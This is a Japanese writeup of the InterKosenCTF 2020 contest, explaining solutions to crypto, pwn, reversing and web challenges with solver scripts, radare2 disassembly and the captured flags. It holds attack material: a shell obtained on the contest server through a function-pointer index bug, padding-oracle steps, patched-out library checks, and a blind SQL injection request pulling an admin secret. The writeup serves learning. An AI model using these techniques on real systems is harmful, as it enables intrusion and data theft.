InterKosenCTF 2020 writeup

InterKosenCTF2020 にソロで参加しました。36時間と長丁場でしたが、面白い問題が多くて、あっという間に終わってしまったという印象です。結果は、チームとしては21位、個人としては14位でした。

自分のための備忘録としても、解けた問題の writeup を書いていきます。Qiita で投稿をするのは初めてなので、何か改善点等ございましたら教えていただけると助かります。

# 目次
* [crypto](#crypto)
  * [ciphertexts](#ciphertexts)
  * [bitcrypto](#bitcrypto)
  * [padding oracle](#padding-oracle)
* [pwn](#pwn)
  * [babysort](#babysort)
* [reversing](#reversing)
  * [in question](#in-question)
  * [harmagedon](#harmagedon)
  * [trilemma](#trilemma)
  * [stratum](#stratum)
* [web](web)
  * [matsushima2](#matsushima2)
  * [limited](#limited)

# crypto
* [ciphertexts](#ciphertexts)
* [bitcrypto](#bitcrypto)
* [padding oracle](#padding-oracle)

### ciphertexts
```main.py
from Crypto.Util.number import *
import gmpy2
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n1 = p * q
n2 = p * q * r

e1 = getPrime(20)
e2 = int(gmpy2.next_prime(e1))

m = bytes_to_long(flag)
c1 = pow(m, e1, n1)
c2 = pow(m, e2, n2)

print("n1 = {}".format(n1))
print("n2 = {}".format(n2))
print("e1 = {}".format(e1))
print("e2 = {}".format(e2))
print()
print("c1 = {}".format(c1))
print("c2 = {}".format(c2))
```
`e2 = int(gmpy2.next_prime(e1))` となっていて `e1` と近い値になっているはずなので、これを利用する方針で考えた。

$m^{e_1} \equiv c_1 \, (\mathrm{mod}\, n_1)$ の両辺から $m^{e_2} \equiv c_2 \, (\mathrm{mod}\, n_2)$ を割るようなことを考えると、(途中 mod $n_1$ から mod $n_2$ への変更を経て)
$$m^{e_2 - e_1} \equiv c_2 c_1^{-1} \, (\mathrm{mod} \, n_1)$$
が示せる。今回の場合は $e_2 - e_1 = 10$ で、 $c_1, c_2, n_1$ も既知のため計算できる。

次に、再び最初の $m^{e_1} \equiv c_1 \, (\mathrm{mod}\, n_1)$ に戻ると、
$$m^{e_1} \equiv (m^{10})^{e_1//10} \times m^{e_1 \% 10} \equiv c_1 \, (\mathrm{mod}\, n_1)$$
$m^{10}$ や $c_1$ は既知なため、 $m^{e_1 \% 10}$ が計算できる。

この過程を繰り返すことで、 `m` が求まるはずである。そのようなプログラムを書いた。

```solver.py
c1_inv = inverse(c1, n1)
m_10 = c1_inv * c2 % n1

current_t = 10
current_mt = m_10
for i in range(10):
    tmp = pow(current_mt, e1 // current_t, n1)
    tmp_inv = inverse(tmp, n1)
    current_t = e1 % current_t
    current_mt = c1 * tmp_inv % n1
    if current_t == 1:
        break

print(long_to_bytes(current_mt))
```

`KosenCTF{HALDYN_D0M3}`

### bitcrypto
平方剰余の概念を使った crypto の問題。ルジャンドル記号を使って書くと、
$$\left( \frac{z}{p} \right) = -1, \left( \frac{z}{q} \right) = -1 $$
となる $z$ が暗号化の計算に使われている。暗号化時は文字列を2進数で表し、1ならば $zx^2$、 0ならば $x^2$ ($x$ は $n$ と互いに素な乱数) としたリストが暗号となる。

逆に言うと復号時は $zx^2$ で表される数字は1に、 $x^2$ で表される数字は0に戻せることが示せる (暗号なのでそれはそう)。なのでこのような $zx_i^2$, $x_j^2$ をたくさん生成して keyword のビット列を表現してあげればよい (同じ数字を使うと弾かれるので生成する必要がある)。

最初の query でビット列に1, 0がいい感じに混ざっている文字列を与えてあげると、 1, 0に対応する数値が複数種類返される (それぞれ $N_1$個、$N_0$個とする)。1 に対応するものを $zx_i^2 (1\le i \le N_1)$, 0 に対応するものを $y_j^2 (1\le j \le N_0)$ と表す。

1に対応する数値は、 $zx_i^2 \times y_j^2 = z(x_iy_j)^2$ を計算してあげることで複数生成することができる。最初のqueryで64bit分の数が得られているので、これで十分な数である。

0に対応する数値は、任意の整数の2乗を考えれば良い。

以上のようにして keyword に対応する数値列を作って送信すると、フラグが得られる。

`KosenCTF{yoshiking_is_clever_and_wild_god_of_crypt}`

### padding oracle
いわゆる padding oracle attack は末尾に padding をしているのを利用する攻撃手法だが、この問題では先頭に padding をしている。

通常の padding oracle attack と同様の手法で、逆側 (つまり先頭側) から平文を求めていけば良い。簡単にまとめると、

1. IV の1文字目 ($c_0$)を順に変えていき、 server 側の unpad が成功するかを確認する。成功したとき、暗号文の1文字目は \x01 になっているはずである。これを $c_1'$ と表す。
  * 最初のブロックでは、もともとの padding と一致して成功になる場合 (つまり \x03\x03\x03 の1文字目になる場合) もあるので2種類解が出てしまう。次のステップでどちらが \x01 か同定する必要がある。
* IVの1文字目を c'_1 ^ \x01 ^ \x02 にかえ、2文字目を順に変えていき unpad の成功を確認する。成功する文字を $c_2'$ と表す。
* IVの 1からi 文字目全てを c'_i ^ i ^ (i+1) にかえ、 i+1 文字目を順に変えていき unpad の成功を確認する。成功する文字を $c_i'$ とする。
* 以上を繰り返し行い、 $c_i' (0\le i<16)$を全て求めた後、c_i ^ c'_i ^ 0x10 したものが平文となる。
* 以上を16バイトに区切った各ブロックについて行う。 

`KosenCTF{0r4c13_5urviv35_57i11_n0w}`

# pwn
* [babysort](#babysort)

### babysort
```main.c
typedef int (*SORTFUNC)(const void*, const void*);

typedef struct {
  long elm[5];
  SORTFUNC cmp[2];
} SortExperiment;

/* call me! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; }
int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; }

int main(void) {
  SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}};
  int i;

  /* input numbers */
  puts("-*-*- Sort Experiment -*-*-");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = ", i);
    if (scanf("%ld", &se.elm[i]) != 1) exit(1);
  }

  /* sort */
  printf("[0] Ascending / [1] Descending: ");
  if (scanf("%d", &i) != 1) exit(1);
  qsort(se.elm, 5, sizeof(long), se.cmp[i]);

  /* output result */
  puts("Result:");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = %ld\n", i, se.elm[i]);
  }
  return 0;
}
```
`win` 関数を呼び出したら shell を奪える。 本来の使い方だと `qsort` 内部で `se.cmp` に格納されている `cmp_asc` か `cmp_dsc` が呼び出されるが、これを使えないかと考えた。

`SortExperiment` の並びを見ると、 `elm` は `cmp` の前に位置しているため、 `elm` に `win` 関数のアドレスを格納し、 se.cmp の -1 などにアクセスすれば、 `qsort` で `win` 関数が呼び出されるはずである。

```bash
$ nc pwn.kosenctf.com 9001
-*-*- Sort Experiment -*-*-
elm[0] = 4196231
elm[1] = 4196231
elm[2] = 4196231
elm[3] = 4196231
elm[4] = 4196231
[0] Ascending / [1] Descending: -1
ls
chall
flag-165fa1768a33599b04fbb4f7a05d0d26.txt
redir.sh
cat flag-165fa1768a33599b04fbb4f7a05d0d26.txt
KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}
```

# reversing
* [in question](#in-question)
* [harmagedon](#harmagedon)
* [trilemma](#trilemma)
* [stratum](#stratum)

### in question
```bash
$ ./chall
Usage: ./chall <FLAG>
$ ./chall hoge
Wrong...
```
フラグかどうかを判定するプログラムになっているらしい。 `Wrong...` 等の文字列を使っている箇所周辺を `radare2` で覗くとこんな感じ。

```fcn.00010130
┌ 117: fcn.00010130 (int64_t arg1, int64_t arg2, int64_t arg3);
│           ; var int64_t var_ch @ rsp+0x14
│           ; arg int64_t arg1 @ rdi
│           ; arg int64_t arg2 @ rsi
│           ; arg int64_t arg3 @ rdx
│           0x00010130      4883ec18       sub rsp, 0x18
│           0x00010134      897c240c       mov dword [var_ch], edi     ; arg1
│           0x00010138      e8e0030000     call 0x1051d                ;[1]
│       │   0x0001013d      e8dc030000     call fcn.0001051e           ;[2]
│           0x00010142      31c0           xor eax, eax
│           0x00010144      e88f290000     call fcn.00012ad8           ;[3]
│           0x00010149      8b7c240c       mov edi, dword [var_ch]
│           0x0001014d      e835210000     call fcn.00012287           ;[4]
│           0x00010152      ffcf           dec edi
│           0x00010154      53             push rbx
│       ┌─< 0x00010155      7f18           jg 0x1016f
│       │   0x00010157      488b36         mov rsi, qword [rsi]
│       │   0x0001015a      488d3d9f2b00.  lea rdi, [0x00012d00]       ; "Usage: %s <FLAG>\n"
│       │   0x00010161      31c0           xor eax, eax
│       │   0x00010163      bb01000000     mov ebx, 1
│       │   0x00010168      e8d4030000     call fcn.00010541           ;[5]
│      ┌──< 0x0001016d      eb32           jmp 0x101a1
│      ││   ; CODE XREF from fcn.00010130 @ 0x10155
│      │└─> 0x0001016f      488b7e08       mov rdi, qword [rsi + 8]    ; arg2
│      │    0x00010173      488d35b63e20.  lea rsi, [0x00214030]
│      │    0x0001017a      e83b010000     call fcn.000102ba           ;[6]
│      │    0x0001017f      85c0           test eax, eax
│      │    0x00010181      89c3           mov ebx, eax
│      │┌─< 0x00010183      750e           jne 0x10193
│      ││   0x00010185      488d3d862b00.  lea rdi, [0x00012d12]       ; "Correct!"
│      ││   0x0001018c      e84e040000     call fcn.000105df           ;[7]
│     ┌───< 0x00010191      eb0e           jmp 0x101a1
│     │││   ; CODE XREF from fcn.00010130 @ 0x10183
│     ││└─> 0x00010193      488d3d812b00.  lea rdi, [0x00012d1b]       ; "Wrong..."
│     ││    0x0001019a      31db           xor ebx, ebx
│     ││    0x0001019c      e83e040000     call fcn.000105df           ;[7]
│     ││    ; CODE XREFS from fcn.00010130 @ 0x1016d, 0x10191
│     └└──> 0x000101a1      89d8           mov eax, ebx
│           0x000101a3      5b             pop rbx
└           0x000101a4      c3             ret
```
`fcn.000102ba` でフラグの判定をしていそう

```fcn.000102ba
┌ 83: fcn.000102ba (int64_t arg1, int64_t arg2, int64_t arg4);
│           ; arg int64_t arg1 @ rdi
│           ; arg int64_t arg2 @ rsi
│           ; arg int64_t arg4 @ rcx
│           0x000102ba      4883c9ff       or rcx, 0xffffffffffffffff    ; arg4
│           0x000102be      31c0           xor eax, eax
│           0x000102c0      4989f8         mov r8, rdi                 ; arg1
│           0x000102c3      f2ae           repne scasb al, byte [rdi]
│           0x000102c5      48f7d1         not rcx                     ; arg4
│           0x000102c8      ffc9           dec ecx                     ; arg4
│           0x000102ca      4150           push r8
│           0x000102cc      56             push rsi                    ; arg2
│           0x000102cd      51             push rcx                    ; arg4
│           0x000102ce      50             push rax
│           0x000102cf      31c0           xor eax, eax
│       ┌─< 0x000102d1      7407           je 0x102da
│       │   0x000102d3      4881c4090300.  add rsp, 0x309
│       │   ; CODE XREF from fcn.000102ba @ 0x102d1
│       └─> 0x000102da      58             pop rax
│           0x000102db      59             pop rcx
│           0x000102dc      5e             pop rsi
│           0x000102dd      4158           pop r8
│           0x000102df      31c0           xor eax, eax
│           ; CODE XREF from fcn.000102ba @ 0x10302
│       ┌─> 0x000102e1      39c8           cmp eax, ecx
│      ┌──< 0x000102e3      7d25           jge 0x1030a
│      │╎   0x000102e5      418a1400       mov dl, byte [r8 + rax]
│      │╎   0x000102e9      4132540001     xor dl, byte [r8 + rax + 1]
│      │╎   0x000102ee      89c7           mov edi, eax
│      │╎   0x000102f0      4080f7ff       xor dil, 0xff               ; 255
│      │╎   0x000102f4      0fb6d2         movzx edx, dl
│      │╎   0x000102f7      31fa           xor edx, edi
│      │╎   0x000102f9      0fb63c06       movzx edi, byte [rsi + rax]
│      │╎   0x000102fd      48ffc0         inc rax
│      │╎   0x00010300      39fa           cmp edx, edi
│      │└─< 0x00010302      74dd           je 0x102e1
│      │    0x00010304      b801000000     mov eax, 1
│      │    0x00010309      c3             ret
```
あまり複雑なことはしておらず、 `flag[i] ^ flag[i+1] ^ i ^ 0xff` が `$rsi[i]` と一致しているかを確認している。
ここで、 `$rsi` には関数呼び出し前で `0x00214030` が代入されている。ida64 で `0x00214030` の値を確認し (なぜか radare2 では見られなかった)、フラグを計算するスクリプトを書いた。

```solver.py
memory = [0xDB, 0xE2, 0xEB, 0xF7, 0xD6, 0xED, 0xEB, 0xC5, 0xE8, 0xA2, 0xAB, 0xEE, 0xD8, 0xC1, 0xAE, 0xB7, 0xC4, 0xC5, 0xF1, 0xB0, 0xAB, 0xC1, 0xD0, 0xBE, 0xE7, 0xBA, 0xD6, 0xCE, 0xEB, 0x9F]  # from IDA
ans = "K"
for i in range(len(memory)-1):
    ans += chr(0xff ^ i ^ ord(ans[i]) ^ memory[i])
print(ans)
```
`KosenCTF{d0nt_l3t_th4t_f00l_u}`

### harmagedon
```bash
$ ./harmagedon
which is your choice? [fRD3]f
which is your choice? [H26S]H
which is your choice? [93Py]9
which is your choice? [LRZu]L
which is your choice? [z1C}]z
which is your choice? [ylQC]y
which is your choice? [g9-5]g
which is your choice? [GiMI]G
which is your choice? [oyVd]o
which is your choice? [{Wxh]{
which is your choice? [JXAC]J
try harder.
```
4択で正しい文字を選んでいく問題。radare2 でみる。

```
┌ 309: entry0 ();
│       ╎   0x004000b0      4831db         xor rbx, rbx                ; [01] -r-x section size 309 named .text
│       ╎   0x004000b3      4d31d2         xor r10, r10
│       ╎   ; CODE XREF from entry0 @ 0x40019c
│       ╎   ;-- f:
│      ┌──> 0x004000b6      49ffc2         inc r10
│      ╎╎   0x004000b9      b87c7cb700     mov eax, 0xb77c7c
│      ╎    0x004000be      4839d8         cmp rax, rbx
│      ╎    0x004000c1      0f84da000000   je loc.congratz
│      ╎    0x004000c7      b80b000000     mov eax, 0xb                ; 11
│      ╎    0x004000cc      4c39d0         cmp rax, r10
│      ╎┌─< 0x004000cf      0f8ce9000000   jl loc.goodbye
│      ╎│   0x004000d5      b801000000     mov eax, 1
│      ╎│   0x004000da      bf01000000     mov edi, 1
│      ╎│   0x004000df      48bee8016000.  movabs rsi, loc.digstr      ; 0x6001e8 ; "which is your choice? []invalid choice\ncongratz. your choices are the flag\ntry harder.\nfRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNp
│      ╎│   0x004000e9      ba17000000     mov edx, 0x17               ; 23
│      ╎│   0x004000ee      0f05           syscall
│      ╎│   0x004000f0      b801000000     mov eax, 1
│      ╎│   0x004000f5      bf01000000     mov edi, 1
│      ╎│   0x004000fa      488db33f0260.  lea rsi, [rbx + loc.buf]    ; 0x60023f ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMAkOIwp0}eY{yhtPlTSN
│      ╎│   0x00400101      ba04000000     mov edx, 4
│      ╎│   0x00400106      0f05           syscall
│      ╎│   0x00400108      b801000000     mov eax, 1
│      ╎│   0x0040010d      bf01000000     mov edi, 1
│      ╎│   0x00400112      48beff016000.  movabs rsi, loc.digstr2     ; 0x6001ff ; "]invalid choice\ncongratz. your choices are the flag\ntry harder.\nfRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNe
│      ╎│   0x0040011c      ba01000000     mov edx, 1
│      ╎│   0x00400121      0f05           syscall
│      ╎│   0x00400123      b800000000     mov eax, 0
│      ╎│   0x00400128      bf00000000     mov edi, 0
│      ╎│   0x0040012d      48be9457b500.  movabs rsi, loc.inputbuf    ; 0xb55794
│      ╎│   0x00400137      ba02000000     mov edx, 2
│      ╎│   0x0040013c      0f05           syscall
│      ╎│   0x0040013e      8a04259457b5.  mov al, byte [loc.inputbuf]    ; [0xb55794:1]=0
│      ╎│   0x00400145      4831c9         xor rcx, rcx
│      ╎│   0x00400148      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]    ; [0x60023f:1]=102 ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMA
│     ┌───< 0x0040014f      7441           je loc.valid
│     │╎│   0x00400151      48ffc1         inc rcx
│     │╎│   0x00400154      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]    ; [0x60023f:1]=102 ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMA
│    ┌────< 0x0040015b      7435           je loc.valid
│    ││╎│   0x0040015d      48ffc1         inc rcx
│    ││╎│   0x00400160      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]    ; [0x60023f:1]=102 ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMA
│   ┌─────< 0x00400167      7429           je loc.valid
│   │││╎│   0x00400169      48ffc1         inc rcx
│   │││╎│   0x0040016c      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]    ; [0x60023f:1]=102 ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMA
│  ┌──────< 0x00400173      741d           je loc.valid
│  ││││╎│   0x00400175      b801000000     mov eax, 1
│  ││││╎│   0x0040017a      bf01000000     mov edi, 1
│  ││││╎│   0x0040017f      48be00026000.  movabs rsi, loc.invalidstr    ; 0x600200 ; "invalid choice\ncongratz. your choices are the flag\ntry harder.\nfRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDN
│  ││││╎│   0x00400189      ba0e000000     mov edx, 0xe                ; 14
│  ││││╎│   0x0040018e      0f05           syscall
│ ┌───────< 0x00400190      eb47           jmp loc.e
│ │││││╎│   ; CODE XREFS from entry0 @ 0x40014f, 0x40015b, 0x400167, 0x400173
│ │││││╎│   ;-- valid:
│ │└└└└───> 0x00400192      4801cb         add rbx, rcx
│ │    ╎│   0x00400195      48ffc3         inc rbx
│ │    ╎│   0x00400198      48c1e302       shl rbx, 2
│ │    └──< 0x0040019c      e915ffffff     jmp loc.f
│ │     │   ;-- congratz:
│ │     │   0x004001a1      b801000000     mov eax, 1
│ │     │   0x004001a6      bf01000000     mov edi, 1
│ │     │   0x004001ab      48be0f026000.  movabs rsi, loc.congratzstr    ; 0x60020f ; "congratz. your choices are the flag\ntry harder.\nfRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGv
│ │     │   0x004001b5      ba24000000     mov edx, 0x24               ; '$' ; 36
│ │     │   0x004001ba      0f05           syscall
```
選んだ文字が何個目かを調べて ([0, 3] の間、 `idx` とする)、 `$rbx = 4 * ($rbx + idx + 1)` と更新。これを11回行う間に `$rbx == 0xb77c7c` となればよい。

`$rbx` の更新時に4で掛けていて常に4の倍数になっているため、 `idx` を mod で求めることができる。

```solver.py
target = 0xb77c7c
ans = []
b = target
for _ in range(11):
    assert b % 4 == 0
    b //= 4
    b -= 1
    tmp = b % 4
    ans.append(tmp)
    b -= tmp

ans = list(reversed(ans))
print(ans)  # [1, 2, 0, 2, 0, 2, 1, 3, 0, 2, 2]
```
この順に文字を選び、 KosenCTF{} で囲えばフラグとなった。

```bash
$ ./harmagedon
which is your choice? [fRD3]R
which is your choice? [Ymug]u
which is your choice? [kcJQ]k
which is your choice? [yhtP]t
which is your choice? [uDPJ]u
which is your choice? [05n7]n
which is your choice? [V0Np]0
which is your choice? [8GFr]r
which is your choice? [Dar3]D
which is your choice? [UDi8]i
which is your choice? [KS3c]3
congratz. your choices are the flag
```
`KosenCTF{Ruktun0rDi3}`
(4**11 通りなので、総当りでも行けたかもしれない？)

### trilemma
はじめにいっておきます、ほとんど reversing していません…

```main.c
/**
   $ gcc main.c -L./ -lemperor -lcitizen -lslave
   $ LD_LIBRARY_PATH=./ ./a.out
 */
#include <stdio.h>

char *emperor_flag(void);
char *citizen_flag(void);
char *slave_flag(void);

int main(void) {
  printf("The flag is %s%s%s\n", emperor_flag(), citizen_flag(), slave_flag());
  return 0;
}
```
`main.c` に書かれている通り実行ファイルを生成して実行すると、 `[libslave.so] Citizen despises slave.` と表示されて実行が止まってしまう。
`libslave.so` を radare2 で↑の文字列の呼び出し元周辺を覗くと、

```
┌ 177: sym.slave ();
│           ; var int64_t var_10h @ rbp-0x10
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t canary @ rbp-0x8
│           0x00000bdf      55             push rbp
│           0x00000be0      4889e5         mov rbp, rsp
│           0x00000be3      4883ec10       sub rsp, 0x10
│           0x00000be7      64488b042528.  mov rax, qword fs:[0x28]
│           0x00000bf0      488945f8       mov qword [canary], rax
│           0x00000bf4      31c0           xor eax, eax
│           0x00000bf6      48c745f00000.  mov qword [var_10h], 0
│           0x00000bfe      488d45f0       lea rax, [var_10h]
│           0x00000c02      4889c6         mov rsi, rax
│           0x00000c05      488d3d60ffff.  lea rdi, [sym.lookup]       ; 0xb6c
│           0x00000c0c      e86ffbffff     call sym.imp.dl_iterate_phdr ;[1]
│           0x00000c11      8b45f0         mov eax, dword [var_10h]
│           0x00000c14      85c0           test eax, eax
│       ┌─< 0x00000c16      742d           je 0xc45
│       │   0x00000c18      488b05d91320.  mov rax, qword [reloc.stderr]    ; [0x201ff8:8]=0
│       │   0x00000c1f      488b00         mov rax, qword [rax]
│       │   0x00000c22      4889c1         mov rcx, rax                ; FILE *stream
│       │   0x00000c25      ba26000000     mov edx, 0x26               ; '&' ; size_t nitems
│       │   0x00000c2a      be01000000     mov esi, 1                  ; size_t size
│       │   0x00000c2f      488d3daa0000.  lea rdi, str.libslave.so__Citizen_despises_slave.    ; 0xce0 ; "[libslave.so] Citizen despises slave.\n" ; const void *ptr
│       │   0x00000c36      e895fbffff     call sym.imp.fwrite         ;[2] ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
│       │   0x00000c3b      bf01000000     mov edi, 1                  ; int status
│       │   0x00000c40      e87bfbffff     call sym.imp.exit           ;[3] ; void exit(int status)
│       │   ; CODE XREF from sym.slave @ 0xc16
```
`sym.lookup` も加えてみてみると、 `libcitizen.so` や `libemperor.so` が一緒に読み込まれていると `exit(1)` してしまうらしい。

なので、reversing するしかないかと思ったところ、「この exit 処理を消してしまえばいいのでは？」と気付き、 hexedit で `e87bfbffff` (exit) の部分を `9090909090` (NOP * 5) に書き換えてしまった。 `libcitizen.so` や `libemperor.so` にも同様の処理が書いてあったので、そちらも書き換えた。

そして実行しなおすと…

```
$ ./main
[libslave.so] Citizen despises slave.
[libemperor.so] Slave makes revolution.
[libcitizen.so] Emperor manipulates citizen.
[libcitizen.so] Resource conflicts.
```
今度は `Resource conflicts` というエラーで落ちた。これはメモリを確保するときに他の .so ファイルと同じメモリが使われると生じてしまうっぽい。
なので gdb で実行し、main 関数にブレークポイントをはり、そこから `$rip` を書き換えることで各種 `*_flag` を実行する直前に飛び、それぞれの `*_flag` の実行結果を見た。

`KosenCTF{emperor_wins_with_a_probability_of_four-fifths}`

### stratum
はじめにいっておきます、ほとんど reversing していません… (本日2度目)

```bash
./chall
KosenCTF{
cmfhnfgjcxaaaaaaAaQAQ111a$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[cu~SDVk
```
試しに `KosenCTF{` と入力すると、 `flag.enc` と前方が一致していることに気がついた。ただ、前から1文字ずつ決めていくのは解が複数現れてしまって無理そう。

2-3文字ずつで解候補を見ていくと解候補は少なく、またこの CTF ではフラグが文章になっていることが多かったので、文章になるように解を選んでいった。不真面目な解き方ですみません。

`KosenCTF{h4v3_fun_w17h_7h3_ugly_bu7_u53ful_SIMD_1n57ruc710n5}`

# web
* [matsushima2](#matsushima2)
* [limited](#limited)

### matsushima2
ブラックジャックでボロ勝ちしてお金をたくさん手に入れたらフラグが手に入る問題。JWT で所持金が管理されている。

最初は JWT の書き換えで所持金を増やす方向性で考えていたが、 HS256 が明記されており署名の改ざんは難しそうで一旦諦めてしまった。けれど時間をおいて息抜きにブラックジャックで遊んでいたところ、「これそもそも cookie で情報が保存されているからリセマラできるじゃん！」ということに気づいた。あとはリセマラを何度もやりました (自動化はしなかった)。

`KosenCTF{r3m3mb3r_m475u5him4}`

### limited
pcap の解析問題。 wireshark で軽く覗くと、

```
GET /search.php?keyword=&search_max=%28SELECT+unicode%28substr%28secret%2C+50%2C+1%29%29+FROM+account+WHERE+name%3D%22admin%22%29+%25+17 HTTP/1.1
```
というような request がたくさんあることに気づいた。

典型的な blind SQLi で、この request に対して response では表示する行数が変化している (search_max に依存)。
なので dpkt を使って blind SQLi の query や response に含まれる行数を抜き出すプログラムを書き、1文字ずつフラグを決定していった。

`KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}`